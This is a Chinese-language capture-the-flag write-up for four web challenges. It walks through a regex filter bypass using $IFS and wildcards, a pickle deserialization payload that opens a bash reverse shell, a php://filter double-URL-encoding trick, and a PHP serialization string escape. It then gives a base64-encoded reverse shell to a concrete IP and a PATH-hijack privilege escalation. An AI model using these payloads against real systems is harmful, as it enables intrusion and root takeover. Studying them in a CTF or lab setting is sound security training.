暑假结营赛wp

发布于 2024-08-05  86 次阅读


eazy_rce

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-8]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*p.*a.*s.*t.*e.*|.*u.*n.*i.*q.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|.*g.*r.*e.*p.*|.*r.*e.*v.*|.*v.*i.*|.*b.*a.*s.*e.*|\'|\"|\`|\%|\:|\{|\}|\||\^|\&|\.|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

又是看着很长的过滤

但是ls是没被过滤的 所以直接使用$IFS绕过空格查看根目录试试

ls$IFS/

接下来就是绕过cat这些了

可以使用绝对路径来绕过

/bin/c??$IFS/????????
// /bin/cat flag.txt

用通配符绕正则检测 使用绝对路径来解决通配符不能直接代替命令

ez_python

看见了hint

去访问pick1e

看到了提示 一串奇怪的东西

ÖvÖ O.o ov0 Ö_0 Övo 0v0 0.o o.0 Öwo owÖ 0v0 ovO o.O ow0 O.o o.0

去网上找到是尊嘟假嘟加密

尊嘟假嘟O.o

得到一串

把这个栅栏解码分2栏

再base64解码

得到

/src0de

再次访问得到源码

@app.route('/src0de')
def src0de():
    f = open(__file__, 'r')
    rsp = f.read()
    f.close()
    return rsp[rsp.index("@app.route('/src0de')"):]
    
@app.route('/pick1e')
def pick1e():
    try:
        username = "admin"
        rsp = make_response("OK U @ %s " % username)
        rsp.headers['hint'] = "Source in ÖvÖ O.o ov0 Ö_0 Övo 0v0 0.o o.0 Öwo owÖ 0v0 ovO o.O ow0 O.o o.0"
        
        pick1e = request.cookies.get('pick1e')
        if pick1e is not None:
            pick1e = base64.b64decode(pick1e)
        else:
            return rsp
        
        if pick1e:
            if (b'R' in pick1e):
                return 'NO REDUCE!!!'
            pick1e = pickle.loads(pick1e)
            return "Go for it!!!"
        else:
            return "No Way!!!"
    
    except Exception as e:
        error_message = str(e)
        return error_message

关键是在pick1e路由使用pick1e反序列化处理数据

使用python整一个处理命令数据的脚本

import base64

payload = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/2333 0>&1"'
o.'''

print(base64.b64encode(payload))

直接在cookie里加个pick1e址 弹shell

eazy_php

<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(preg_match('/base/i',$file)) {
    die("你不可以喜欢base64,但你可以喜欢c10uds!");
}
if(preg_match('/rot/i',$file)) {
    die("你不可以喜欢凯撒,但你可以喜欢c10uds!");
}
if(preg_match('/data/i',$file)) {
    die("你不可以喜欢data,但你可以喜欢c10uds!");
}
if(preg_match('/session/i',$file)) {
    die("你不可以喜欢session,但你可以喜欢c10uds!");
}
if(preg_match('/iconv/i',$file)) {
    die("你不可以喜欢字符编码,但你可以喜欢c10uds!");
}
if(preg_match('/zlib|phar|zip/i',$file)) {
    die("你不可以喜欢字符压缩,但你可以喜欢c10uds!");
}
if(preg_match('/crypt/i',$file)) {
    die("你不可以喜欢加解密,但你可以喜欢c10uds!");
}
if(preg_match('/log/i',$file)) {
    die("你不可以喜欢日志,但你可以喜欢c10uds!");
}
@include($file);
?> 

过滤了很多方法去包含

这里可以使用filter去实现文件包含

filter对传入的是有二次解码的

正常读文件是这样的:

file=php://filter/read=convert.base64-encode/resource=flag.php

但是当base被过滤了的时候可以使用这个特性

把base的b字母url编码后得到:%62 再把%url编码得到:%25

filter会对此进行一次处理 所以把%25变成了% 62不变 因为是get传参 会再解码一次 就变成了b

这样就可以绕过

?file=php://filter/read=convert.%2562ase64-encode/resource=/flag.php

ezphp

在这里测试了一下发现没什么利用的

然后根据给的提示访问一下/shell.php

反序列化

主要目的是把CTFer里的$awarding变成"pennant"

但是我们不能直接控制$awarding的值

只能控制work的值

这里还有一个filter方法

可以将okk变成Nook

那很明显就是字符串增多的字符串逃逸

我们需要的是awarding == "pennant"

所以构造s:8:”awarding”;s:7:”pennant”

闭合一下”;s:8:”awarding”;s:7:”pennant”;}

数一数是32个

所以payload:

payload=okkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokk";s:8:"awarding";s:7:"pennant";}&shell=ls /

看到逃逸成功了

给shell传入命令也回显了flag的位置

但是cat一下发现没有权限

那只能反弹shell提权了

反弹shell

bash%20-c%20'%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDYuNTQuMzAuNjQvMjMzMyAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'

//bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuNTQuMzAuNjQvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}'

然后开始提权

在/tmp目录下写一个333.c

echo '#include<unistd.h>
 
void main(){
 
setuid(0);
 
setuid(0);
 
system("cat /flag");
 
}' > 333.c

其中setuid(0);:表示尝试将程序的用户ID设置为0,即超级用户(root)权限

然后执行

gcc 333.c -o 333

作用是使用 GCC 编译器将名为 333.c 的源代码文件编译成一个可执行文件,并将该可执行文件命名为 333

gcc 即GNU Compiler Collection 命令,用于编译 C 和 C++ 程序。

接下来修改环境变量

export PATH=/tmp:$PATH

将当前用户的环境变量 PATH 修改为新值 /tmp:$PATH

/tmp 目录添加到当前 PATH 变量的前面,以便在 shell 中优先搜索 /tmp 目录下的可执行文件

export: 这是一个 shell 命令,用于将变量设置为环境变量,以便在当前 shell 会话及其子进程中可用。

/tmp 目录将成为我们 shell 查找可执行文件的第一个路径。这意味着如果您在 /tmp 目录下有可执行文件,系统将首先在这里查找,然后才会查找原来 PATH 中的其他目录。

然后执行即可